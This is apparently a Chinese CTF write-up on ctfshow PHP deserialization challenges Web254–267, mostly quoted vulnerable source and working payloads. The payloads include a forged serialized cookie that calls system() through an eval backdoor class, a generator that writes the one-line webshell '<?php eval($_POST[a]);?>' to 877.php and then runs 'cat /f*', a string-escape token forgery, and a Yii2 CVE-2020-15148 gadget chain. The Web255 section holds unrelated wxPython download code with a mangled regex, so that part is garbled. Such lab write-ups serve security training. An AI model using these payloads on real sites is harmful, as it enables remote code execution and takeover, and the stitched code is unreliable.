[TOC]
PHP反序列化实际上已经开始是Web安全的进阶操作了,虽然在这个时代Web选手上分极其困难,PHP反序列化已经成为了基础…..
学这一块还是推荐多看博客和菜鸟教程对PHP魔术方法的介绍,这里推荐一个PHP反序列化这一篇就够了
Web254
这个题为什么会出现在反序列化里面?直接出username=xxxxxx&password=xxxxxx
Web255
代码语言:javascript复制def an1_anbdj(self,event):
if (self.url ==""):
toastone = wx.MessageDialog(None, "网站地址不能为空!", "错误信息提示", wx.YES_DEFAULT | wx.ICON_QUESTION)
if toastone.ShowModal() == wx.ID_YES:
# 如果点击了提示框的确定按钮
toastone.Destroy()
# 则关闭提示框
# print(self.url)
else:
match=re.search('(https?|ftp|file)://[-A-Za-z0-9 &@#/%?=~_|!:,.;] [-A-Za-z0-9 &@#/%=~_|]', self.url)
if match:
download(self.url)
Web256
代码语言:javascript复制<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
逻辑很清晰,只比上一题多了this->username!==
代码语言:javascript复制<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='a';
public $isVip=true;
}
//url编码防止忽略不可见字符
echo(urlencode(serialize(new ctfShowUser())));
Web257
代码语言:javascript复制<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
这一题的解法还挺多的,主要是利用__construct()
函数
Web258
这一题目只有比上一问多过滤了一段过滤
代码语言:javascript复制if(isset($username) && isset($password)){
if(!preg_match('/[oc]:d :/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
代码语言:javascript复制O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:25:"system("tac ./flag.php");";}}
Web259
暂时还没出……..
Web260
这个难道不是把那个36D杯的题目直接搬来了?
代码语言:javascript复制?ctfshow=ctfshow_i_love_36D
Web261
unserialize() 函数用于将通过serialize()函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
题目源码:
代码语言:javascript复制<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
$this->code==0x36d是这里考察的是PHP弱类型比较,0x36d没有引号代表数字,十六进制0x36d转为十进制是877,因为弱比较,实际上877.php这样一样可以通过判断。
同时file_put_contents()函数,这也给我们传一句话木马的机会,这里我就不多解释,直接看菜鸟教程吧
另外如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
我们就可以这样构造
代码语言:javascript复制<?php
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u='',$p=''){
$this->username='877.php';
$this->password='<?php eval($_POST[a]);?>';
}
}
echo urlencode(serialize(new ctfshowvip));
?>
看下877.php有没有成功传入,发现成功传入后直接操纵一句话木马得到flag。
代码语言:javascript复制a=system("cat /f*")
Web262
str_replace(‘fuck’, ‘loveU’, serialize($msg)) 因为前后用于替换的文本长度不一致导致的字符串逃逸漏洞
注释里有一个 @message.php这玩意
代码语言:javascript复制if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
题目源码:
代码语言:javascript复制error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
将需要逃逸的内容构造一下:
代码语言:javascript复制<?php
class message{
public $token=admin;
}
echo serialize(new message());
O:7:”message”:1:{s:5:”token”;s:5:”admin”;}这一串,实际上我们需要传进去的只有 s:5:”token”;s:5:”admin”; 加上闭合";s:5:"token";s:5:"admin";}
一共27个字符,每次替换增加一个字符,需要27个fuck吃掉构造函数的$token='user';
之后在访问message.php,即可
Web264
Web267
从这道题之后的内容考察的是Yii的框架漏洞,**Yii2 反序列化漏洞(CVE-2020-15148)**, Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。
关于这个漏洞可以看这个文章Yii2 反序列化漏洞(CVE-2020-15148)复现
代码语言:javascript复制<?php
namespace yiirest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yiirestCreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yiidb{
use FakerGenerator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yiidbBatchQueryResult));
}
?>
这里直接借用大佬博客上的脚本,可以看到PHPinfo